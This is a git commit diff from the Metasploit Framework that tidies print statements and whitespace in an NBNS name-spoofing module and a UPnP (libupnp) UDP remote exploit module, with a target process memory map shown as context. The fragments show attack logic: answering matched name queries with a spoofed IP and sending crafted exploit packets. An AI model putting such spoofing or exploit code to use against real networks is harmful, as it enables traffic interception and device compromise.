Standardize prints, clean up whitespace/warnings

bug/bundler_fix
James Lee 2013-10-04 11:58:21 -05:00
parent b822a41004
commit 68ee692c19
2 changed files with 21 additions and 22 deletions

View File

@ -69,9 +69,8 @@ class Metasploit3 < Msf::Auxiliary
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
packet, addr = @sock.recvfrom(512) packet, addr = @sock.recvfrom(512)
vprint_status("Packet Received from #{addr[3]}")
rhost = addr[3] rhost = addr[3]
break if packet.length == 0 break if packet.length == 0
nbnsq_transid = packet[0..1] nbnsq_transid = packet[0..1]
@ -91,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
vprint_status("Regex matched #{nbnsq_decodedname} from #{rhost}. Sending reply...") vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
if datastore['DEBUG'] if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}") print_status("transid: #{nbnsq_transid.unpack('H4')}")
@ -139,7 +138,7 @@ class Metasploit3 < Msf::Auxiliary
close_pcap close_pcap
else else
vprint_status("Packet received from #{rhost} with name #{nbnsq_decodedname} did not match regex") vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
end end
end end

View File

@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
r = udp_sock.sendto(pkt, rhost, rport, 0) udp_sock.sendto(pkt, rhost, rport, 0)
1.upto(5) do 1.upto(5) do
::IO.select(nil, nil, nil, 1) ::IO.select(nil, nil, nil, 1)
@ -311,7 +311,7 @@ class Metasploit3 < Msf::Exploit::Remote
00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp 00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp
00033000-00055000 rwxp 00000000 00:00 0 [heap] 00033000-00055000 rwxp 00000000 00:00 0 [heap]
40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so 40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so
4001d000-4001f000 rwxp 00000000 00:00 0 4001d000-4001f000 rwxp 00000000 00:00 0
40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so 40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so
40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so 40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so
40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so 40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so
@ -321,24 +321,24 @@ class Metasploit3 < Msf::Exploit::Remote
4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so 4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so
40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so 40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so
40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so 40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so
40053000-40055000 rwxp 00000000 00:00 0 40053000-40055000 rwxp 00000000 00:00 0
40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so 40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so
4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so 4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so
40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so 40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so
40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so 40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so
40176000-40179000 rwxp 00000000 00:00 0 40176000-40179000 rwxp 00000000 00:00 0
40179000-4017a000 ---p 00000000 00:00 0 40179000-4017a000 ---p 00000000 00:00 0
4017a000-40979000 rwxp 00000000 00:00 0 4017a000-40979000 rwxp 00000000 00:00 0
40979000-4097a000 ---p 00000000 00:00 0 40979000-4097a000 ---p 00000000 00:00 0
4097a000-41179000 rwxp 00000000 00:00 0 4097a000-41179000 rwxp 00000000 00:00 0
41179000-4117a000 ---p 00000000 00:00 0 41179000-4117a000 ---p 00000000 00:00 0
4117a000-41979000 rwxp 00000000 00:00 0 4117a000-41979000 rwxp 00000000 00:00 0
41979000-4197a000 ---p 00000000 00:00 0 41979000-4197a000 ---p 00000000 00:00 0
4197a000-42179000 rwxp 00000000 00:00 0 4197a000-42179000 rwxp 00000000 00:00 0
42179000-4217a000 ---p 00000000 00:00 0 42179000-4217a000 ---p 00000000 00:00 0
4217a000-42979000 rwxp 00000000 00:00 0 4217a000-42979000 rwxp 00000000 00:00 0
42979000-4297a000 ---p 00000000 00:00 0 42979000-4297a000 ---p 00000000 00:00 0
4297a000-43179000 rwxp 00000000 00:00 0 4297a000-43179000 rwxp 00000000 00:00 0
bef4d000-bef62000 rw-p 00000000 00:00 0 [stack] bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]
=end =end
@ -346,7 +346,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Generate a buffer that provides a starting point for exploit development # Generate a buffer that provides a starting point for exploit development
def target_debug def target_debug
buffer = Rex::Text.pattern_create(2000) Rex::Text.pattern_create(2000)
end end
def stage_real_payload(cli) def stage_real_payload(cli)
@ -417,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = nil res = nil
1.upto(5) do 1.upto(5) do
res,addr,info = udp_sock.recvfrom(65535, 1.0) res,_,_ = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /^(Server|Location)/mi break if res and res =~ /^(Server|Location)/mi
udp_sock.sendto(msearch, rhost, rport, 0) udp_sock.sendto(msearch, rhost, rport, 0)
end end